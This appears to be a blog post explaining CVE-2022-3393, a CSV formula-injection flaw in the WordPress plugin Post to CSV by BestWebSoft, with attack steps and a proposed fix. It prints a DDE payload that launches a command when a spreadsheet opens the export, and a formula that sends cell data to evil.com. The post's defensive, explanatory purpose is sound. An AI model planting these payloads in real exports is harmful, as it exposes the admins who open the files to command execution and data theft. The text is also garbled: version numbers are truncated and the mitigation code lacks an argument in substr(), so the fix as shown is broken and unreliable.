---

Introduction

In this post, we’ll dive deep into CVE-2022-3393, a critical security issue affecting the popular WordPress plugin Post to CSV by BestWebSoft. This plugin, up to version 1.4., does not properly escape user input when exporting WordPress posts as CSV. As a result, it’s open to a security flaw called CSV Injection (also known as formula injection). This vulnerability can result in attackers executing malicious code on a victim’s machine, especially if the exported CSV file is opened using spreadsheet software like Microsoft Excel.

What is CSV Injection?

CSV Injection occurs when untrusted user input is included in exported CSV files. If certain characters (=, +, @, -) appear at the beginning of a field, spreadsheet software may interpret the field as a formula, which can execute unwanted commands.

Suppose an attacker adds this value as their name

=cmd|' /C calc'!A


If the exported CSV is opened in Excel, this can trigger the calculator app or even worse, execute custom scripts.

Affected Plugin

- Plugin: Post to CSV by BestWebSoft

Core Issue

The plugin does not sanitize or escape fields when exporting post data, allowing attackers to inject spreadsheet formulas.

Let's look at a simplified version of the original export logic

// posts.php (simplified)
foreach ($posts as $post) {
    $row = array(
        $post->ID,
        $post->post_title,
        $post->post_content,
        get_post_meta($post->ID, 'custom_field', true)
    );
    fputcsv($csv_file, $row); // No escaping or filtering applied here
}

- Problem: No check or escaping for values starting with formula symbols like =, +, -, or @.

Step 1: Inject Malicious Content

As an attacker, register or submit data where a field (like post title) starts with a formula payload. For example:

Post Title: =cmd|' /C calc'!A

Step 2: Export Data

A WordPress site admin uses the plugin to export posts to CSV. The malicious post title is included in the CSV file.

Step 3: Open in Spreadsheet Software

When the admin opens the CSV file in Excel, the formula is executed. Depending on the payload, this can:

Run arbitrary commands (if macros are enabled).

- Leak sensitive files (using payloads like =IMPORT('http://evil.com/?data='&A1)).

Here's a sample CSV output

ID,Title,Content
1,"=cmd|' /C calc'!A","Some content"

Excel will understand this as a formula, not just text.

How to Mitigate

Simple mitigation: Prefix dangerous cell values with a single quote ' so apps treat them as plain text.

Mitigated PHP Code Example

function csv_escape($field) {
    $dangerous = array('=', '+', '-', '@');
    if (in_array(substr($field, , 1), $dangerous)) {
        return "'".$field;
    }
    return $field;
}

foreach ($posts as $post) {
    $row = array(
        $post->ID,
        csv_escape($post->post_title),
        csv_escape($post->post_content)
    );
    fputcsv($csv_file, $row);
}

Original Advisory:

- WPScan Report – CVE-2022-3393

CVE Details:

- CVE-2022-3393 at NVD

OWASP Cheat Sheet on CSV Injection:

- OWASP: CSV Injection

Final Thoughts

CSV injection is easy to overlook but can have severe consequences. The vulnerability in Post to CSV by BestWebSoft (<= 1.4.) is a reminder that secure coding practices are crucial—not just for web apps, but for all data exports. Update your plugins, sanitize your exports, and stay safe from CSV-based attacks!


*If you found this post helpful, share it with your colleagues and help more people stay protected from this sneaky attack!*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 01:44:00 UTC